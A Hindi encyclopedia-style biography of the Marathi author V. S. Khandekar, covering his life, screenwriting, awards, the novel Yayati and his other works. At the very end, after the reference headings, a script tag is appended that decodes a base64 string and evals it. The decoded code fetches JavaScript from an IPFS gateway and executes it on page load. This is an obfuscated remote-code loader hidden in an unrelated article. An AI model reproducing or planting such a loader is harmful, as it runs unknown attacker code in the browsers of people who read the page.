विष्णु सखाराम खांडेकर
विष्णु सखाराम खांडेकर(जन्म- 19 जनवरी, 1898, सांगली, महाराष्ट्र; निधन- 2 सितंबर 1976), को साहित्य अकादमी पुरस्कार, पद्मभूषण और ज्ञानपीठ पुरस्कार (1974) से सम्मानित किया गया।
जीवन परिचय
विष्णु सखाराम खांडेकर मराठी भाषा के सुप्रसिद्ध साहित्यकार व मेधावी छात्र थे। 1913 में बंबई विश्वविद्यालय से मैट्रिक में अच्छे अंकों से उत्तीर्ण हुए। पुणे जाकर उन्होंने फ़र्ग्युसन कॉलेज में प्रवेश लिया, लेकिन इस बीच उनके पिता दिवगंत हो गए और उनके चाचा ने उन्हें गोद ले लिया। चाचा को उनके शिक्षण पर ख़र्च करना बेकार लगा, इसलिए कॉलेज छोड़कर उन्हें घर पर लौटना पड़ा। तीन वर्ष वह गंभीर रोगों से पीड़ित रहे और स्वस्थ होने पर 1920 में घर से लगभग 24 किमी दूर 'शिरोद' नामक गांव के स्कूल में अध्यापक हो गए।
- विवाहित जीवन
नौ वर्ष बाद खांडेकर का 'मनु मनेरीकर' से विवाह हुआ। मनु शिक्षित नहीं थीं, साहित्य के प्रति किसी प्रकार की रुचि भी उनमें न थी; पर वह कुशल गृहिणी थीं। 1933 में एक विषैले सांप द्वारा डसे जाने पर खांडेकर को बहुत कष्ट सहना पड़ा और इसका प्रभाव उनके चेहरे पर बाद तक बना रहा।
पटकथा लेखन
शिरोद से वह 1938 में कोल्हापुर आ गए और उसके बाद से वहीं रहकर प्रसिद्ध फ़िल्म निर्माता-निर्देशक, अभिनेता मास्टर विनायक के लिए फ़िल्मी पटकथा लिखने में लग गए। कुछ वर्ष बाद मास्टर विनायक की असमय मृत्यु हो जाने पर पटकथा लेखन से उनकी रुचि हट गई और फिर वह अपने लेखन-कार्य में संलग्न हो गए।
लेखन
खांडेकर को प्रतिकूल स्वास्थ्य के कारण जीवन भर कष्ट भोगने पड़े । उनकी दृष्टि तक चली गई, मगर 78 वर्ष की आयु में भी वह प्रमुख मराठी पत्र-पत्रिकाओं को नियमित रचना-सहयोग दिया करते और साहित्य जगत की प्रत्येक नई गतिविधि से संपर्क बनाए रखते।
पुरस्कार
अपने सुदीर्घ और यशस्वी जीवन में उन्होंने अनेक पुरस्कार व सम्मान प्राप्त किये।
- ययाति के लिए उन्हें साहित्य अकादमी ने भी पुरस्कृत किया और बाद में फ़ेलोशिप भी प्रदान की।
- भारत सरकार ने साहित्यिक सेवाओं के लिए पद्मभूषण उपाधि से अलंकृत किया।
- ज्ञानपीठ पुरस्कार द्वारा सम्मानित होने वाले वह प्रथम मराठी साहित्यकार थे।
प्रकाशन
खांडेकर के लेखों और कविताओं का प्रकाशन 1919 से शुरु हुआ। अपनी उन्हीं दिनों की एक व्यंग्य रचना के कारण उन्हें मानहानि के अभियोग में फंसना पड़ा, पर उससे सारे कोंकण प्रदेश में वह अचानक प्रसिद्ध हो गए। पुणे में उन्हें प्रमुख कवि नाटककार रामगणेश गडकरी के निकट संपर्क में आने का अवसर मिला। गडकरी और कोल्हटकर के अतिरिक्त, जिन अन्य मराठी लेखकों का विशेष प्रभाव खांडेकर पर पड़ा, वे थे गोपाल गणेश अगरकर, केशवसुत और हरि नारायण आप्टे।
गांधी जी की विचारधारा का प्रभाव
शिरोद में बिताए गए 18 वर्ष खांडेकर के लिए निर्णायक सिद्ध हुए। लोगों की भयानक दरिद्रता और अज्ञान का बोध उन्हें वहीं हुआ। वहीं गांधी जी की विचारधारा की उन पर अमिट छाप पड़ी, जब एक के बाद एक उनके कई मित्र और सहयोगी सत्याग्रह आंदोलन में पकड़े गए। खांडेकर कला और जीवन के बीच घनिष्ठ संबंध मानते थे। उनकी दृष्टि में कला एक सशक्त माध्यम है, जिसके द्वारा लेखक पूरे मानव-समाज की सेवा कर सकता है।
स्वतंत्र साहित्यिक विधा
खांडेकर ने साहित्य की विभिन्न विधाओं का कुशल प्रयोग किया है। उनकी लगन का ही फल था कि आधुनिक मराठी लघुकथा एक स्वतंत्र साहित्यिक विधा के रूप में प्रतिष्ठित हुई और वैयक्तिक निबंध को प्रोत्साहन मिला। रूपक-कथा नामक एक नए कहानी रूप को भी उन्होंने विकसित किया, जो मात्र प्रतीक कथा या दृष्टांत कथा न होकर और भी बहुत कुछ होती है। अक्सर वह गद्यात्मक कविता जैसी जान पड़ती है। 1959 में, अर्थात खांडेकर के 61वें वर्ष में प्रकाशित ययाति मराठी उपन्यास साहित्य में एक नई प्रवृत्ति का प्रतीक बना। स्पष्ट था कि जीवन के तीसरे पहर में भी उनमें नवसृजन की अद्भुत क्षमता थी। भारत सरकार ने विष्णु सखाराम खांडेकर के सम्मान में 1998 में एक स्मारक डाक टिकट जारी किया था।
निधन
मराठी भाषा के चर्चित साहित्यकार का निधन 2सितंबर 1976 को हुआ।
रचनाएँ
प्रमुख कृतियां:-
- उपन्यास-
- देवयानी,
- ययाति,
- शर्मिष्ठा,
- कचदेव।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>